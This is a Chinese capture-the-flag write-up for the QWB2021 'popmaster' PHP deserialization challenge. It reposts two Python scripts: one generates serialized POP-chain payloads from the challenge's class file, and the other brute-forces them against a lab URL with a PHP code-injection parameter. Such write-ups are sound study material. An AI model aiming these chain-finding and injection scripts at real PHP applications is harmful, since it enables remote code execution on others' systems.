[QWB2021 Quals]popmaster
解题步骤
差不多10w行的代码,当时强行看了2h,但是又不会写脚本,直接寄。
现在终于找到能复现的脚本了。废话不多说,直接贴大佬脚本,来自https://www.freebuf.com/articles/web/279680.html
import re, os, time
targetFunction = 'GYGtGO'
File = open('class.php', 'r').read()
MyClass = []
AllPop = []
def main():
ParseClass(File)
findEval(targetFunction)
makePoc()
def ParseClass(File):
global MyClass
classes = re.findall(r'(class\s(.+?)\{([\S\s]*?)\}\n\n)', File)
# classes[n][0] 类主要结构 classes[n][1] 类名
for i in classes:
classItem = {}
classItem['className'] = i[1]
classItem['propertyName'] = re.findall(r'public\s\$(.+?);', i[0])[0]
functionValue = re.findall(r'(public\sfunction\s(.+?)\(\$(.+?)\)\{(([\S\s]+?);\n\n[\S\s]+?)\})', i[0])
FunctionItem = {}
for f in functionValue:
FunctionItem[f[1]] = []
# classItem['function'].append()
# f[1] 函数名 f[2] 参数名 f[3] 方法体
this2Func = re.findall(r'([\s\t]\$this->.+?->(.+?)\(.+?\));', f[3])
if len(this2Func) != 0:
for t in this2Func:
FunctionItem[f[1]].append(t[1])
classItem['function'] = FunctionItem
MyClass.append(classItem)
def findEval(startFunc, string=''):
global AllPop
for classItem in MyClass:
nexts = classItem['function'].get(startFunc)
if nexts != None:
if len(nexts) == 0:
string += classItem['className']
AllPop.append(string.split('->'))
for key, nexted in enumerate(nexts):
if key == 0:
string += classItem['className'] + '->'
findEval(nexted, string)
def makePoc():
poc = "<?php\n"
for i in MyClass:
poc += '''class %s{
public function __construct($a = 0){
$this -> %s = $a;
}
}
''' % (i['className'], i['propertyName'])
for item in AllPop:
poc += 'file_put_contents("poc.txt", serialize('
for clsName in item:
poc += 'new %s(' % (clsName)
for clsName in item:
poc += ')'
poc += ') . "\\r\\n", FILE_APPEND);\n'
open('poc.php', 'w').write(poc)
os.popen('php poc.php')
print('成功生成poc.txt文件,请使用爆破脚本爆破POP链路...')
time.sleep(2)
# os.remove('poc.php')
if __name__ == '__main__':
main()
先用上面那个脚本生成所有pop链,写入到pop.txt。
然后用下面这个脚本进行pop链爆破
import requests, threading, time
url = 'http://99303909-d2bb-4049-afa4-93f115abf73b.node4.buuoj.cn:81/'
fileName = 'poc.txt'
def readFile():
return open(fileName, 'r').read().split('\n')
def attack(POP):
Param = '?pop={}&argv=var_dump("aaaaaaaaaaaaaaaaaaaa");//'.format(POP)
result = requests.get(url + Param)
if result.status_code != 200:
time.sleep(3)
result = requests.get(url + Param)
if 'aaaaaaaaaaaaaaaa' in result.text:
print('----------------------------------')
print(POP)
print('----------------------------------')
if __name__ == '__main__':
fileData = readFile()
for POP in fileData:
attack(POP)
链子很jb长,传参靶机直接死5-6s,真的nb!